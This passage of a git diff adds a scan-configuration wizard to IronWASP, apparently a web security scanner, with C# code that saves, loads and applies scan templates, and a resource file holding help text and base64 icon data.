XW.WriteValue(CookieParametersPlusTB.Text); XW.WriteEndElement(); + XW.WriteStartElement("cookie_black_list"); XW.WriteValue(CookieParametersMinusTB.Text); XW.WriteEndElement(); + + XW.WriteStartElement("headers_white_list"); XW.WriteValue(HeadersParametersPlusTB.Text); XW.WriteEndElement(); + XW.WriteStartElement("headers_black_list"); XW.WriteValue(HeadersParametersMinusTB.Text); XW.WriteEndElement(); + + if (QueryParametersPlusRB.Checked) + { + XW.WriteStartElement("query_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); + } + else + { + XW.WriteStartElement("query_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); + } + + if (BodyParametersPlusRB.Checked) + { + XW.WriteStartElement("body_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); + } + else + { + XW.WriteStartElement("body_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); + } + + if (CookieParametersPlusRB.Checked) + { + XW.WriteStartElement("cookie_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); + } + else + { + XW.WriteStartElement("cookie_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); + } + + if (HeadersParametersPlusRB.Checked) + { + XW.WriteStartElement("headers_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); + } + else + { + XW.WriteStartElement("headers_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); + } + + XW.WriteEndElement(); + XW.WriteEndDocument(); + XW.Close(); + return SB.ToString(); + } + + private void LoadTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + OpenTemplateDialog.Title = "Open an existing Scan Template"; + + while (OpenTemplateDialog.ShowDialog() == DialogResult.OK) + { + try + { + FileInfo OpenedFile = new FileInfo(OpenTemplateDialog.FileName); + StreamReader Reader = new StreamReader(OpenedFile.FullName); + string TemplateXml = Reader.ReadToEnd(); + Reader.Close(); + LoadSettingsFromTemplate(TemplateXml); + ScanTemplateNameLbl.Text = string.Format("Loaded template file - {0}", OpenedFile.Name); + break; + } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Unable to open file: {0}", new object[] { Exp.Message })); + } + } + } + + void LoadSettingsFromTemplate(string TemplateXml) + { + XmlDocument XDoc = new XmlDocument(); + XDoc.LoadXml(TemplateXml); + foreach (XmlNode Node in XDoc.ChildNodes[1].ChildNodes) + { + switch (Node.Name) + { + case ("scan_type"): + break; + case ("crawler_threads"): + try + { + ConfigCrawlerThreadMaxCountTB.Value = Int32.Parse(Node.InnerText); + } + catch { } + break; + case ("user_agent"): + ConfigCrawlerUserAgentTB.Text = Node.InnerText; + break; + case ("spl_header_name"): + UseSpecialHeaderCB.Checked = true; + SpecialHeaderNameTB.Text = Node.InnerText; + break; + case ("spl_header_value"): + SpecialHeaderValueTB.Text = Node.InnerText; + break; + case ("do_dir_guessing"): + ConfigureScanDirAndFileGuessingCB.Checked = (Node.InnerText == "true"); + break; + case ("prompt_user"): + PromptUserCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_upp"): + InjectUrlPathPartsCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_query"): + InjectQueryCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_body"): + InjectBodyCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_cookie"): + InjectCookieCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_header"): + InjectHeadersCB.Checked = (Node.InnerText == "true"); + break; + case ("inject_names"): + InjectNamesCB.Checked = (Node.InnerText == "true"); + break; + case ("checks"): + int CheckedCount = 0; + foreach(string PluginName in Node.InnerText.Split(new char[]{','}, StringSplitOptions.RemoveEmptyEntries)) + { + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + if (Row.Cells[1].Value.ToString().Equals(PluginName.Trim())) + { + Row.Cells[0].Value = true; + CheckedCount++; + } + } + } + if (CheckedCount == ScanPluginsGrid.Rows.Count) + ScanAllPluginsCB.Checked = true; + else + ScanAllPluginsCB.Checked = false; + break; + case ("query_white_list"): + QueryParametersPlusTB.Text = Node.InnerText; + QueryParametersPlusRB.Checked = true; + break; + case ("query_black_list"): + QueryParametersMinusTB.Text = Node.InnerText; + QueryParametersMinusRB.Checked = true; + break; + case ("body_white_list"): + BodyParametersPlusTB.Text = Node.InnerText; + BodyParametersPlusRB.Checked = true; + break; + case ("body_black_list"): + BodyParametersMinusTB.Text = Node.InnerText; + BodyParametersMinusRB.Checked = true; + break; + case ("cookie_white_list"): + CookieParametersPlusTB.Text = Node.InnerText; + CookieParametersPlusRB.Checked = true; + break; + case ("cookie_black_list"): + CookieParametersMinusTB.Text = Node.InnerText; + CookieParametersMinusRB.Checked = true; + break; + case ("headers_white_list"): + HeadersParametersPlusTB.Text = Node.InnerText; + HeadersParametersPlusRB.Checked = true; + break; + case ("headers_black_list"): + HeadersParametersMinusTB.Text = Node.InnerText; + HeadersParametersMinusRB.Checked = true; + break; + case ("query_filter_type"): + if (Node.InnerText.Equals("+")) + QueryParametersPlusRB.Checked = true; + else + QueryParametersMinusRB.Checked = true; + break; + case ("body_filter_type"): + if (Node.InnerText.Equals("+")) + BodyParametersPlusRB.Checked = true; + else + BodyParametersMinusRB.Checked = true; + break; + case ("cookie_filter_type"): + if (Node.InnerText.Equals("+")) + CookieParametersPlusRB.Checked = true; + else + CookieParametersMinusRB.Checked = true; + break; + case ("headers_filter_type"): + if (Node.InnerText.Equals("+")) + HeadersParametersPlusRB.Checked = true; + else + HeadersParametersMinusRB.Checked = true; + break; + } + } + } + + private void FinalBtn_Click(object sender, EventArgs e) + { + StartScan(); + } + + void StartScan() + { + ScanManager.Stop(true); + ScanManager.PrimaryHost = BaseRequest.Host; + ScanManager.BaseUrl = BaseUrlTB.Text; + ScanManager.StartingUrl = StartingUrlTB.Text; + ScanManager.Mode = ScanMode.UserConfigured; + ScanManager.PerformDirAndFileGuessing = ConfigureScanDirAndFileGuessingCB.Checked; + ScanManager.CanPromptUser = PromptUserCB.Checked; + + Crawler.MaxCrawlThreads = ConfigCrawlerThreadMaxCountTB.Value; + Crawler.UserAgent = ConfigCrawlerUserAgentTB.Text; + + if (UseSpecialHeaderCB.Checked) + { + ScanManager.SpecialHeader = new string[]{SpecialHeaderNameTB.Text, SpecialHeaderValueTB.Text}; + } + + if (BaseRequest.SSL) + { + ScanManager.HTTPS = true; + if (CrossProtoYesRB.Checked) ScanManager.HTTP = true; + } + else + { + ScanManager.HTTP = true; + if (CrossProtoYesRB.Checked) ScanManager.HTTPS = true; + } + ScanManager.Checks.Clear(); + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) ScanManager.Checks.Add(Row.Cells[1].Value.ToString()); + } + + ScanManager.InjectUrlPathParts = InjectUrlPathPartsCB.Checked; + ScanManager.InjectQuery = InjectQueryCB.Checked; + ScanManager.InjectBody = InjectBodyCB.Checked; + ScanManager.InjectCookie = InjectCookieCB.Checked; + ScanManager.InjectHeaders = InjectHeadersCB.Checked; + + if (InjectNamesCB.Checked) + { + ScanManager.InjectQueryName = InjectUrlPathPartsCB.Checked; + ScanManager.InjectBodyName = InjectBodyCB.Checked; + ScanManager.InjectCookieName = InjectCookieCB.Checked; + ScanManager.InjectHeaderName = InjectHeadersCB.Checked; + } + else + { + ScanManager.InjectQueryName = false; + ScanManager.InjectBodyName = false; + ScanManager.InjectCookieName = false; + ScanManager.InjectHeaderName = false; + } + + ScanManager.QueryWhiteList.Clear(); + ScanManager.QueryBlackList.Clear(); + + ScanManager.BodyWhiteList.Clear(); + ScanManager.BodyBlackList.Clear(); + + ScanManager.CookieWhiteList.Clear(); + ScanManager.CookieBlackList.Clear(); + + ScanManager.HeaderWhiteList.Clear(); + ScanManager.HeaderBlackList.Clear(); + + if (QueryParametersFilterCB.Checked) + { + if (QueryParametersPlusRB.Checked) + { + foreach (string Name in QueryParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanManager.QueryWhiteList.Add(Name.Trim()); + } + } + else + { + foreach (string Name in QueryParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanManager.QueryBlackList.Add(Name.Trim()); + } + } + } + + if (BodyParametersFilterCB.Checked) + { + if (BodyParametersPlusRB.Checked) + { + foreach (string Name in BodyParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanManager.BodyWhiteList.Add(Name.Trim()); + } + } + else + { + foreach (string Name in BodyParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanManager.BodyBlackList.Add(Name.Trim()); + } + } + } + + if (CookieParametersFilterCB.Checked) + { + if (CookieParametersPlusRB.Checked) + { + foreach (string Name in CookieParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanManager.CookieWhiteList.Add(Name.Trim()); + } + } + else + { + foreach (string Name in CookieParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanManager.CookieBlackList.Add(Name.Trim()); + } + } + } + + if (HeadersParametersFilterCB.Checked) + { + if (HeadersParametersPlusRB.Checked) + { + foreach (string Name in HeadersParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanManager.HeaderWhiteList.Add(Name.Trim()); + } + } + else + { + foreach (string Name in HeadersParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) + { + ScanManager.HeaderBlackList.Add(Name.Trim()); + } + } + } + + //ScanManager.HostsToInclude = new List(HostsToIncludeTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries)); + ScanManager.UrlsToAvoid = new List(ConfigureScanUrlToAvoidTB.Text.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries)); + ScanManager.IncludeSubDomains = SubdomainYesRB.Checked; + ScanManager.CrawlAndScan = CrawlAndScanRB.Checked; + + ScanManager.StartScan(); + IronUI.UpdateConsoleControlsStatus(true); + + IronUI.SSW.CloseWindow(); + } + + private void ScanAllPluginsCB_Click(object sender, EventArgs e) + { + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + Row.Cells[0].Value = ScanAllPluginsCB.Checked; + } + } + + private void StartScanWizard_FormClosing(object sender, FormClosingEventArgs e) + { + if (IronUI.UI.CanShutdown) return; + if (!CanClose) + { + if (this.CurrentStep == 0) + { + this.CanClose = true; + } + else if (this.CurrentStep == 5) + { + e.Cancel = true; + MessageBox.Show("Once you click on the 'Start Scan' button this window will automatically close.\r\nIf you want to close this window without starting a scan then it can only be done from the first step.\r\nUse the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); + } + else + { + e.Cancel = true; + MessageBox.Show("This window can only be closed from the first step.\r\nUse the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); + } + } + } + + internal void CloseWindow() + { + this.CanClose = true; + this.Close(); + } + } +} diff --git a/Iron/StartScanWizard.resx b/Iron/StartScanWizard.resx new file mode 100644 index 0000000..873a01d --- /dev/null +++ b/Iron/StartScanWizard.resx @@ -0,0 +1,1942 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + You can now start this can. Once this scan is started you can monitor its status on the 'Console' section of IronWASP. +All traffic generated by the crawler and the scanner are logged. These logs are listed under the names 'Probe' and 'Scan' in the 'Logs' section. +The Scanner splits the entire scan in to tiny units called Scan Jobs. You can view the individual Scan Jobs from the 'Automated Scanning' section. +This section also contains the Scan Trace information. + +NOTE: If you are scanning a large site then IronWASP could consume large amounts of memory and eventually run out of memory and start throwing exceptions. This is a known problem and will be fixed in future versions. + +Fully automated scanning is a tiny fraction of IronWASP's Web Security Testing capabilities. + +Explore the tool further to know about the amazing features packed in to it. + + + 17, 17 + + + 180, 17 + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 